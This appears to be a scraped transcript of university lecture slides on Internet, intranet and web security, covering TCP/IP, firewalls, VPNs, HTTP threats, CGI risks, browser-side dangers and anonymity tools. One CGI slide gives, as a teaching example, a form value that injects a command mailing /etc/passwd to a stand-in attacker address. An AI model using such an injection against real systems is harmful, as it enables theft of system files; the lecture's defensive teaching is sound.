Information Security Internet, Intranet, Extranet - PowerPoint PPT Presentation

Slide1 l.jpg
Download
1 / 73

Information Security Internet, Intranet, Extranet Prof. dr. P.M.E. De Bra Department of Computing Science Eindhoven University of Technology Parts / Topics / Issues Basics of Internet technology / Organization Principles of Firewalls / Virtual Private Networks.

I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.

Download Presentation

Information Security Internet, Intranet, Extranet

An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -

Presentation Transcript


Slide1 l.jpg

Information SecurityInternet, Intranet, Extranet

Prof. dr. P.M.E. De Bra

Department of Computing Science

Eindhoven University of Technology


Parts topics issues l.jpg

Parts / Topics / Issues

  • Basics of Internet technology / Organization

  • Principles of Firewalls / Virtual Private Networks.

  • Basics of World Wide Web technology

  • Server-side security issues

  • Client-side security issues

  • Privacy (and anonimity) on Internet


What is internet l.jpg

What is Internet?

  • A network of networks based on the TCP/IP protocols.

  • A community of people who use and develop those networks.

  • A collection of resources that can be reached from those networks.

    Internet standards are defined in RFCs.

    Informal definition of Internet is rfc 1462:

    http://www.normos.org/ietf/rfc/rfc1462.txt


Layered internet protocols l.jpg

Layered Internet protocols

  • Hardware-level protocol (wire without protocol, ethernet protocol, X.25, ATM, ...).

  • IP (lowest level Internet Protocol).

  • TCP, UDP, ICMP: TCP is used most, provides reliable connections.

  • SMTP, FTP, Telnet, ...: Application-level protocols (mostly on top of TCP/IP).

    We look at 1) TCP, 2) IP, 3) UDP and ICMP,

    4) Application-level protocols, 5) Ethernet


Internet basics addressing l.jpg

Internet Basics: Addressing

  • Every computer has a 32 bit (4 octet) address: e.g. 131.155.70.196. Addresses reveal something about the associated network:

    • First octet 1..126: A networks, very large. (Arpanet is one of these 126 networks.)

    • First two octets 128.1 .. 191.254: B networks, maximum of 64516 computers in each network.

    • First three octets 192.1.1 .. 223.254.254: C networks, maximum of 254 computers in each.

    • Addresses above 224.1.1 are reserved for the future, for still undefined D and E networks.


Slide6 l.jpg

Internet Basics: Addressing

  • Some addresses are never used. They can be used behind firewalls on company Intranets:

    • 10.0.0.0 to 10.255.255.255 can be used for an A class Intranet.

    • 172.16.0.0 to 172.16.255.255 can be used for a B class Intranet.

    • 192.168.0.0 to 192.168.255.255 can be used for C class Intranets.

    • First octet 127 is not used on Internet or Intranets. (127.0.0.1 is the “loopback” on every machine.)


Slide7 l.jpg

Internet Basics: TCP protocol

  • Provides connections of connectionless IP protocol, through the use of ports.

    • A connection is defined by a source and destination IP address and a source and destination port. (A TCP header contains ports, the IP header the IP addresses.)

    • “Standard” servers “listen” to predefined (privileged) ports, with numbers below 1024.

    • Clients use unprivileged ports.

    • One computer can have many simultaneous connections to many other computers. All connections between a pair of computers must use different source or destination port numbers.


Slide8 l.jpg

Internet Basics: TCP protocol

  • Data to be transmitted is divided in (a sequence of) datagrams.

    • TCP software on both ends says how large a datagram may be. The smaller size is chosen. Each datagram consists of a header and data.

    • Each datagram gets a sequence number. Each received datagram is acknowledged by returning a datagram with an acknowledgement number.

    • The acknowledgement contains a window size, indicating how many datagrams may be sent before the sender has to stop.

    • Every datagram gets a checksum to verify that the contents has arrived correctly.


Slide9 l.jpg

Internet Basics: IP

  • IP sends datagrams from a source IP address to a destination IP address. (It may also split the datagram when needed.)

    • Each datagram contains an IP header, with a checksum (of the header only).

    • The header contains a protocol (code) to indicate whether it is a TCP, UDP or ICMP datagram.

    • Each datagram is routed separately.

    • Some datagrams may arrive faster than others.

    • Some datagrams may be lost. Each header has a time to live to indicate how much longer (number of hops) the datagram may live.


Slide10 l.jpg

Internet Basics: Routing

  • Routing is the task of finding how to get a datagram to its destination.

    • Each machine can send datagrams directly to some other machines on a local network.

    • Each machine knows a gateway machine it can send datagrams to.

    • A gateway has connections to a number of networks and maintains a routing table of which connection to use for which destination.

    • A gateway can respond to a request with “I’m not the best gateway for this destination”.


Slide11 l.jpg

Internet Basics: Domain Names

  • Most applications and users use domain names instead of IP numbers. A redundant hierarchy of name servers provides translation of names to numbers.

    • Name to reach: pcnov290.win.tue.nl

    • Ask a root server for an nl server.

    • Ask a server for the nl domain for a tue server.

    • Ask a server for the tue domain for a win server.

    • Ask a server for the win domain for the address of pcnov290.


Slide12 l.jpg

Internet Basics: UDP and ICMP

  • UDP: User Datagram Protocol

    • Provides port numbers like TCP.

    • Provides a checksum for header + data.

    • Does not split data into separate datagrams.

    • Does not put sequences of datagrams together.

    • Does not keep track of lost datagrams, for retransmission.

  • ICMP: Internet Control Message Protocol

    • Used for messages (that fit into a single datagram).

    • Interpreted by IP itself. There are no port numbers.


Slide13 l.jpg

Application level Protocols

  • Many TCP/IP protocols are text-based so that humans can easily interpret them:

    Example: Mail dialog between client and server

    svis01:220 svis01.win.tue.nl ESMTP Sendmail 8.8.7/1.45 ready at Fri, 5 Feb 1999 23:28:31 +0100 (MET)

    wwwis:HELO wwwis.win.tue.nl

    svis01:250 svis01.win.tue.nl Hello wwwis [131.155.71.147], pleased to meet you

    wwwis:MAIL From: debra@win.tue.nl

    svis01:250 debra@win.tue.nl... Sender ok

    ...


Slide14 l.jpg

Application level Protocols

  • Telnet: allows to log in on any other computer on the network (on which you have an account). It requires an interactive login. (Username and Password are transmitted without encryption.)

  • Rlogin: allows to remote log in as a specific user. It is possible to log in without password, based on domain name. (Insecure).

  • Ssh: “secure shell”, allows remote log in, using encrypted channel, with or without password. (public/private keys used between computers.)


Slide15 l.jpg

Application level Protocols

  • Ftp: File Transfer Protocol. Used in anonymous mode to access public file servers, and with passwords to copy to and from machines. Ftp uses separate “channel” for commands and for data transfer.

  • Rcp: Remote copy, allowed based on domain name / user name combination. Insecure.

  • Scp: Secure copy, allowed based on domain name / user name combination and public/private key encryption. Uses encrypted channel to avoid snooping.


Slide16 l.jpg

Application level Protocols

  • SMTP: Simple Mail Transfer Protocol

  • NNTP: Network News Transfer Protocol

  • RPC: There are different varieties of protocols for remote execution. (Remote shell, remote procedure call, etc.)

  • NFS: Network File System. Introduced by Sun Microsystems. Uses UDP, not TCP.

  • Remote Printing

  • ...


Internet security issues l.jpg

Internet security: Issues

  • How to achieve secure (secret and reliable) communication over an insecure network. (Which encryption techniques fit which purpose: subject of Paul Lebouille, IBM.)

  • How to prevent unauthorized access to services while allowing authorized access to other services.

  • How to isolate a company network from Internet, while allowing the use of Internet by computers in the company.


Internet communication threats l.jpg

Internet communication threats

  • Snooping: Any computer on Internet can intercept passing datagrams. One can easily filter out the data belonging to a single connection.


Slide19 l.jpg

Internet communication threats

  • Spoofing: A computer can pretend to be another one (by using the other’s IP number) and thus steal its traffic.


Slide20 l.jpg

Internet communication threats

  • Spoofing:Man in the middle variation Spoofing machine talks to the “real” owner of IP number, to pass on corrupted data.


Host or subnet security l.jpg

Host (or Subnet) Security

  • Any technical solution for security must be used as a means of implementing a chosen security policy:

    • What are we protecting?

    • How important is it?

    • How likely is it that it will be attacked?

    • What should happen if an attack is successful?

    • What is permitted, by whom and for what purpose?

    • What Internet connectivity is needed from the host or subnet?


Firewalls background l.jpg

Firewalls: background

  • A firewall provides security for an Intranet by controlling what and how can be communicated with Internet. Firewalls cannot protect against:

    • Attacks that do not go through the firewall (hand carried tapes/disks, modem connections).

    • Data-driven attacks: something (malicious) is uploaded or copied through a legitimate channel, and then executed.

    • Denial of service attacks that overload the data connection between Intranet and Internet.


Firewall architectures l.jpg

Firewall architectures

  • Approaches:

    • packet filtering: allow only datagrams with certain properties to pass.

    • proxy services: application-level gateways that forward datagrams and hide the Intranet.

  • Architectures:

    • dual-homed host: one host with two network interfaces, one for Intranet, one for Internet.

    • screened host: packet filter combined with bastion host providing gateway/proxy services.

    • screened subnet: trusted/untrusted subnets.


Packet filtering screening router l.jpg

Packet filtering (screening router)


Packet filtering screening router25 l.jpg

Packet filtering (screening router)

  • Selectively blocks or lets through packets between the Intranet and Internet, based on:

    • Source IP address

    • Destination IP address

    • Protocol (TCP, UDP)

    • Source port

    • Destination port

  • For each combination one can configure the filter to allow or deny all values, certain ranges, or single values.


Proxy services l.jpg

Proxy Services


Dual homed hosts l.jpg

Dual-Homed Hosts


Screened host l.jpg

Screened Host


Screened subnet l.jpg

Screened Subnet


Variation sub intranets l.jpg

Variation: sub-Intranets


Internet tunneling extranets l.jpg

Internet Tunneling: Extranets


Internet tunneling extranets32 l.jpg

Internet Tunneling: Extranets


Point to point tunneling protocol l.jpg

Point to Point Tunneling Protocol

  • PPTP was developed by Microsoft. It is aimed at dial-in connections using PPP.

    • User access is first controlled through PAP (Password Authentication Protocol) or CHAP (Challenge Handshake Authentication Protocol).

    • Each PPP packet is encoded with 40-bit RC4. The encryption prevents the network from reading the destination information.

    • The PPP packet is encapsulated within a GRE (Generic Routing Encapsulation) packet which includes destination information.


Ipsec l.jpg

IPsec

  • IPsec might be a successor/replacement for PPTP. It addresses authentication, integrity, access control and confidentiality.

    • Uses a variety of encryption algorithms.

    • Uses two headers: AH (Authentication Header) and ESP (Encapsulating Security Payload).

    • AH verifies that the data hasn’t been altered.

    • ESP encrypts the data so it remains confidential.


Home networks l.jpg

Home Networks

  • To connect several computers at home (consisting of PCs):

    • Local lan consists of ethernet.

    • Connection to ISP through modem or “fixed” network (cable modem, isdn router, etc.).

    • This effectively creates a dual-homed host.

    • The internal network can use 192.168 range.

    • On the bastion host you must enable IP forwarding.

    • In the network “security” options you need to select TCP and UDP ports to enable/disable.

    • You need to setup proxy services on bastion.

    • You need to configure the other PCs to use the proxies. (e.g. through a package like Wingate.)


World wide web technology l.jpg

World Wide Web Technology

  • Request-response paradigm:


Http hypertext transfer protocol l.jpg

HTTP HyperText Transfer Protocol

  • HTTP is a typical TCP/IP protocol:

    • Textual representation: both requests and responses have a textual representation so that a human can diagnose the protocol.

    • Standard error codes: Internet convention says:

      1xx: command received and being processed

      2xx: success

      3xx: further action is needed

      4xx: temporary error

      5xx: permanent error

      (HTTP has some slight deviations, see later)


Http example l.jpg

HTTP Example

  • HTTP 1.0 request:

    GET /index.html HTTP/1.0

    From: debra@win.tue.nl

    User-Agent: Mozilla 4.5...

    Accept: text/plain

    Accept: text/html

    ... other fields ...

    < empty line marks end of request >


Slide39 l.jpg

HTTP Example (cont.)

  • HTTP 1.0 reply:

    HTTP/1.0 200 OK

    Date: Mon, 08 Feb 1999 20:48:51 GMT

    Server: Apache/1.2.4

    Last-Modified: Wed, 23 Sep 1998 ...

    Content-Length: 3173

    Accept-Ranges: bytes

    Connection: close

    Content-Type: text/html

    < empty line >

    < The content of the document follows>


Http response codes l.jpg

HTTP Response Codes

  • 1xx: request received, processing continues. (Such response is followed by another one.)

  • 2xx: success, result depends on the code:

    • 200: OK, result follows.

    • 201: An entity was created as a result of the request.

  • 3xx: further processing needed:

    • 300: Multiple choices, client must select one.

    • 301: Moved temporarily.

    • 304: Not modified (since date given in request).


Slide41 l.jpg

HTTP Response Codes

  • 4xx: client error:

    • 400: Malformed request.

    • 401: Unauthorized, authorization required.

    • 402: Payment required (not yet supported).

    • 403: Forbidden, authorization will not help.

    • 404: Not found. (Resource temporarily or permanently unavailable.)

  • 5xx: server error:

    • 500: Internal server error (unexpected by server).

    • 503: Service unavailable (due to overload, …)

      see: RFC 2068


Http threats from result codes l.jpg

HTTP Threats from result codes

  • HTTP is very susceptible to “man in the middle” attacks. Examples:

    • 200: Since HTTP uses cleartext, the content of a document can be subtly altered. (The Content-Length must be kept correct though!)

    • 301: A browser can be fooled into loading from a different server, without the user knowing it.

    • 401: A user can be “tricked” into giving his password. Basic authentication transmits the password without encryption. (The newer digest authentication performs encryption.)


Http basics l.jpg

HTTP Basics

  • HTTP/1.0 uses a TCP/IP connection for each request.

    • HTTP/1.0 wastes resources because opening and closing connections is expensive.

    • Subsequent requests to the same server seem to form a session, but because they are separate TCP/IP connections the (non-existent) session can easily be broken into.

    • Browsers (Netscape Navigator, Internet Explorer, ...) issue several requests in parallel to retrieve in-line images “faster”. This actually constitutes a denial of service attack.


Http basics44 l.jpg

HTTP Basics

  • HTTP/1.1 solves some 1.0 problems:

    • Support for multi-part content, meaning that only one request is needed to retrieve several objects at once.

    • Persistent connections reduce the risk of break-ins into a session, and reduce connection setup overhead. (Persistent connections may also cause a server to need many more open connections.)

    • Authentication can be done through a “challenge” mechanism and “digest authentication”. A user password is not transmitted over the network.


Http security issues l.jpg

HTTP Security Issues

  • HTTP allows content-coding. Unfortunately, only compression schemes are defined, and no encryption schemes.

  • Secure-HTTP (or S-HTTP) is an extension with encryption, but not well supported. It encrypts the message (and reply) body but some of the header info is not encrypted.

  • HTTPS (HTTP over SSL) first creates an encrypted channel (using SSL). Subsequently request and reply headers and body are encrypted.


Http security issues cont l.jpg

HTTP Security Issues (cont.)

  • Experimental implementations of persistent connections in HTTP 1.0 cause denial of service. Therefore HTTP 1.1 proxy servers never open a persistent connection with an HTTP 1.0 client.

  • HTTP 1.1 connections may time out. Both clients and servers must always be able to recover from asynchronous close events.

  • Browsers can route requests through a proxy. Some Internet Providers use a transparent proxy: the user may not be aware of the proxy’s existence.


Http security issues cont47 l.jpg

HTTP Security Issues (cont.)

  • Safe methods: GET and HEAD should not take an action other than retrieval. (Users cannot be held accountable for side effects of these methods.)

  • Forms which are used with the GET method should never ask for sensitive information, because of logging attacks.

  • The Content-MD5 header can be used to add a digest (checksum) to a reply. This gives the false impression the message has not been tampered with.


Http security issues cont48 l.jpg

HTTP Security Issues (cont.)

  • The behavior of a cache with authorized requests is not always safe: a cache may return replies to non-authenticated clients.

  • Sharing browser sessions on shared workstations poses the risk of authorized sessions to be taken over by the next user.

  • A server may attempt to validate the identity of the user through the RFC 931 protocol. The user’s machine confirms the user name of an open connection. This technique is generally unsafe.


Server side technology l.jpg

Server-side Technology

  • Basic architecture: CGI scripts act as a gateway between WWW server and information system (database system).


Server side technology50 l.jpg

Server-side Technology

  • Security threats from CGI-scripts:

    • The input for a CGI-script results from filling out a form. The script should anticipate erroneous input, possibly also data overrun.

    • A CGI-script should check that it is invoked through the right form, by checking the HTTP_REFERER field. However, this field can be faked.

    • CGI-scripts are often written in scripting languages such as Perl or Bourne-shell. Writing scripts in such languages is easy, but writing secure scripts is difficult.


Server side technology51 l.jpg

Server-side Technology

  • Example (part of) insecure shell script:

    echo $message | sendmail $mail_to

    (message and mail_to are form fields)

    if the user enters into the mail_to field:

    nobody@nowhere.com;mail badguys@hell.org</etc/passwd

    this results in the password file being sent to badguys@hell.org

    Moral: do not use environment variables (that are set through forms) without quoting and without checking them.


Server side technology52 l.jpg

Server-side Technology:

  • CGI-scripts can also be abused for denial of service attacks:

    • An HTTP POST (or PUT) request can contain an arbitrary amount of input data. This may cause several problems:

      • Intermediate proxies may crash.

      • The CGI-script may crash.

      • The CGI-script may need a lot of memory to handle the request.

    • A Web-server can be bombarded with (small) requests for CGI-scripts. The overhead can easily overload the Web-server.


Server side technology53 l.jpg

Server-side Technology

  • NSAPI:

    • In the handling of a request code can be added to the server in different places: Init, AuthTrans, NameTrans, PathCheck, ObjectType, Service, Error and AddLog.

    • Errors in the user-added functions may cause the server to crash.

      http://developer.netscape.com/docs/manuals/ enterprise/nsapi/index.htm

  • ISAPI:

    • Similar to NSAPI, with the same problem: code added to the server may cause the server to crash.


Server side technology54 l.jpg

Server-side Technology

  • Servlets: Java “equivalent” to NSAPI or ISAPI:

    • User-written code is added to the (running) server.

    • The Java environment ensures that errors in the code cannot cause a server crash.

    • Servlets are a server-independent technology. Many Web-servers support Java servlets.


Client side technology l.jpg

Client-side Technology

  • Apart from displaying HTML pages, a modern Web-browser can perform many other tasks:

    • Invoking external programs;

    • User-interaction through forms;

    • Preserving state using cookies;

    • Executing scripting code;

    • Extension of browser with plug-ins;

    • Execution of Java applets (plain or signed);

    • Execution of ActiveX controls.


Client side technology56 l.jpg

Client-side Technology

  • Invoking external programs:

    • The HTTP reply contains a MIME-type; depending on the MIME-type the browser will:

      • Display the information (e.g. for HTML, GIF, JPG).

      • Use a plug-in to handle the information (see later).

      • Invoke an external program to handle the information.

    • The external program must already be installed on the client machine.

    • The user defines which MIME-type corresponds to which program.

    • The user must be careful to not allow information to be stolen or overwritten (un)intentionally.


Client side technology57 l.jpg

Client-side Technology

  • User-interaction through forms:

    • Many Web-sites offer seemingly interesting information only after the user fills out a form, which sends potentially sensitive information about the user to the Web-site.

    • Form input is sent to the server as cleartext. The browser can warn the user about it, but most users disable the warnings.

    • Modern browsers support form-based file upload. Users can be tricked to upload files with sensitive data.

    • Beware of forms combined with scripting.


Client side technology58 l.jpg

Client-side Technology

  • Preserving state info through Cookies:

    • A server orders a browser to store info using a Set-Cookie field in an HTTP reply. (One reply may contain several Set-Cookie requests.)

    • The browser returns cookies using the Cookie field in an HTTP request.

    • Cookies (with valid associated path names) are shared between servers that share part of the domain name: 2 periods for .com, .edu, etc. and 3 periods for .us, .nl, .uk, .be, etc.

    • Cookies are limited to 4Kbyte each, 20 Cookies per domain, 300 Cookies total.

      http://www.netscape.com/newsref/std/cookie_spec.html


Client side technology59 l.jpg

Client-side Technology

  • Javascript and VBscript:

    • Scripting languages (Javascript from Netscape and VBscript from Microsoft) make Web-pages active and/or interactive.

    • Actions can be triggered by user input (like button clicks, filling out a text field, etc.), by window operations (like close) and by time-outs.

    • Scripting languages are used to:

      • Render the user’s workstation useless.

      • Lure the user into typing in or uploading sensitive information.

      • Lure users to the “wrong” Web-sites.


Client side technology60 l.jpg

Client-side Technology

  • Denial of service attacks using scripting:

    • Scripting languages are interpreted, which means execution is slow. A long (or infinite) may consume a large percentage of the available cpu-time.

    • A simple script may loop through a large array, thus consuming a lot of memory and hence resulting in thrashing.

    • A script may create extra windows upon being loaded. It may re-open the window each time it is minimized or closed. A script may make it very difficult to get rid of such a window.


Client side technology61 l.jpg

Client-side Technology

  • Obtaining sensitive information through scripts:

    • There are numerous ways to lure users into typing in what one wants them to type using forms alone.

    • Scripting adds the possibility to open a popup window prompting for information.

    • A script can also make suggestions in the message area (bottom of browser window).

    • A script can change a file upload field before doing the upload.


Client side technology62 l.jpg

Client-side Technology

  • Tricking the clicks:

    • A browser normally displays the destination of a link in the message area. A script can write a message by handling the mouseover event. This message may suggest a different link destination.

    • Some sites are paid for through advertisements. Some advertisers want to see hits on their site. Scripts can be used to “simulate” (but really generate) hits to sites without the user actually clicking on anything.


Client side technology63 l.jpg

Client-side Technology

  • Extending the browser with plug-ins:

    • Plug-ins are modules in machine code that are “intended” for enabling a browser to display some media type in-line.

    • A plug-in must be installed by the user on the client machine. Users should be very suspicious about plug-ins but most users are not.

    • A plug-in can perform all operations a separate executable can, including uploading arbitrary files, installing viruses, modifying or deleting arbitrary files, crashing the browser, maybe even rebooting the operating system, etc.


Client side technology64 l.jpg

Client-side Technology

  • Java applets: safe interactive components? Java applets are executed within a “shielded” environment (called sandbox):

    • Applets cannot read or write files.

    • Applets can only open IP connections to their origin site.

    • The Java runtime environment can perform a limited integrity check on applets.

    • When an applet performs an illegal operation the Java runtime environment catches it an generates an appropriate error message.


Client side technology65 l.jpg

Client-side Technology

  • Java applets: safe interactive components?

    • Applets can call methods of other applets that are included in the same HTML file. (They cannot find out about applets in other files.)

    • Applets in different frames (or files) can communicate through static fields.

    • Applets are stopped when the enclosing Web-page is being unloaded (replaced by a new page).

    • Stopped applets (not on displayed pages) may be destroyed and garbage collected.

    • Resource consumption by active applets may render the user’s workstation unusable.


Client side technology66 l.jpg

Client-side Technology

  • ActiveX: Distributed Components

    • ActiveX uses code signing. The supplier of an ActiveX control must provide a certificate (obtained from a trusted third party).

    • The browser displays an authenticode dialog box asking the user to accept the ActiveX control.

    • An accepted ActiveX control is a machine code module downloaded from a remote site. It can perform all actions that a separate program can execute (uploading, crashing, formatting hard disk, etc.)

      See also: http://www.byte.com/art/9709/sec5/sec5.htm


Privacy on the web l.jpg

Privacy on the Web

  • The Web is not as anonymous as it looks:

    • The user’s IP number, browser, operating system and other aspects may be detected. Cookies may provide additional information about the user.

    • Different Web-sites may collaborate in gathering data about users by combining their logging activities.

    • ISPs may log Web access distribution and provide access patterns and hit rates to Web-sites.

    • Users may sometimes want to be known (e.g. to buy and pay something) and sometimes want to be anonymous.


Privacy on the web68 l.jpg

Privacy on the Web

  • The Anonymizer:

    • Functions as a kind of proxy server.

    • Accesses appear to originate from the anonymizer site instead of the user’s IP number.

    • All user-related data is removed from a request.

    • Users are not anonymous to the anonymizer. (And the anonymizer may be legally forced to reveal a user’s accesses.)

    • Users are not anonymous to their ISP either.

      See http://www.anonymizer.com/


Privacy on the web69 l.jpg

Privacy on the Web

  • Crowds: anonymously hiding in a crowd.

    • Each user activates a jondo; jondo’s communicate with each other.

    • Each HTTP request is forwarded to another randomly chosen jondo.

    • Each received request is either forwarded to another jondo or passed onto the destination server.

    • The random routing is very safe (not traceable, and no single point of failure) but may be slow.

    • Crowds cannot really include members that are behind firewalls.


Privacy on the web70 l.jpg

Privacy on the Web

  • Onion Routing: anonymity through encrypted messages and routing through a network of “Mixes”.

    • An onion (on the client machine) determines a path through the network. It uses a recursively layered data structure using keys of all routers on the path.

    • Each router can decrypt the onion to find out the address of the next router (but not the message or the rest of the path).

    • There is no single point of failure.


Privacy on the web71 l.jpg

Privacy on the Web

  • LPWA: Lucent Personalized Web Assistant

    • Acts as a proxy server.

    • Creates a different alias for a user for each Web-site. (So collaborating Web-sites cannot detect a common user.)

    • Creates a different fake (but also real) email address.

    • Includes anti-spamming support by allowing to block certain fake email addresses (to which spam is being sent).

    • Has a single point of failure.


Anonymous e mail or netnews l.jpg

Anonymous E-mail (or Netnews)

  • Pseudo-anonymous remailers:

    • The user registers with a remailer. The remailer creates an alias (email address on his site). Mail from the user is forwarded as if it came from the alias. Mail to the alias is forwarded back to the user.

    • Mail is delayed for a random period of time, so that there is no correlation between the time mail arrives at the remailer and the time it leaves the remailer.

    • A trustworthy remailer will support PGP.


Anonymous e mail or netnews73 l.jpg

Anonymous E-mail (or Netnews)

  • True anonymous remailers:

    • Cypherpunk remailers:

      • Messages are encrypted recursively several times.

      • Each remailer strips off one layer.

    • Mixmaster remailers:

      • Messages contain 20 encrypted headers.

      • Each remailer adds its header to the back of the list, so the number of headers remains 20. (No remailer knows how many hops there are before or after itself, except for the last one who knows it must perform delivery.)

        Nice intro to Cypherpunk and Mixmaster at:

        http://www.obscura.com/~loki/remailer/remailer-essay.html


  • Login